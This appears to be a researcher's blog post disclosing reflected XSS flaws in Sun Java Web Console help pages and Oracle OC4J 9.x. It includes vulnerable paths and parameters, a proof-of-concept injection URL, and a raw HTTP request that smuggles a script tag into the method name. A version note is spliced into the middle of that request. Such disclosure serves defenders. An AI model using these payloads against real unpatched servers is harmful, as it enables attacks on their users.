Most of the time, it is not challenging to look for XSS vulnerabilities since lot of applications do not provide input validation at all against this specific attack. In addition, the application entry points are so copious that it is like to shoot in a crowded square (well, never tried).
However, they still exist and we still have to report them.
We will probably all agree about the dangerous effects of such client side attack. We have seen several real life threats (e.g. CriticalPath Vulnerability, Twitter Worm Attack, StrongWebmail) as well as we know efficient (sufficient?) protection mechanisms (e.g. NoScript, OWASP ESAPI, Secure Coding).
Having said that, I would like to point out a couple of trivial security flaws I have discovered in the last months: (A) Sun Java Web Console Multiple Cross Site Scripting and yet another (B) Oracle Application Server 10g (v9.x) Cross Site Scripting.
(A) Just because I believe in full disclosure, let's specify the unspecified input (as reported by the vendor). Due to the lack of input filtering within the "HELP" resources, it is possible to inject JS code and trigger XSS attacks. During my audit, several attack vectors were found:
/console/faces/com_sun_web_ui/help/helpwindow.jsp
Parameters: windowTitle, helpFile, pageTitle, mastheadUrl, mastheadDescription, jspPath
/console/faces/com_sun_web_ui/help/masthead.jsp
Parameters: mastheadUrl, pageTitle
PoC example: https://IP:PORT/console/faces/com_sun_web_ui/help/helpwindow.jsp?&windowTitle=&helpFile=%22%3E%3C/FRAMESET%3E%3CFRAME%20SRC=%22javascript:alert(%27XSS%27);%22%3E%3C!--
(B) In case of OC4J, the problem is triggered with malformed requests containing invalid HTTP methods.
G<script>alert(123);</script>ET /servlet/ HTTP/1.1Versions 10.1.3.4.0 and likely all the 10.x releases are not vulnerable.
Host: 127.0.0.1:5500
501 Not Implemented
Method G<script>alert(123);</script>ET is not defined in RFC 2068 and is not supported by the Servlet API
Oracle support for the J2EE application container 9.x ended in December 2008, according to the Oracle's Lifetime Support Policy. However, they still provide this insecure software here. From my experience, I've seen several installations of such outdated and unsupported software within corporations. As you can easily imagine, it means no patch...sad indeed.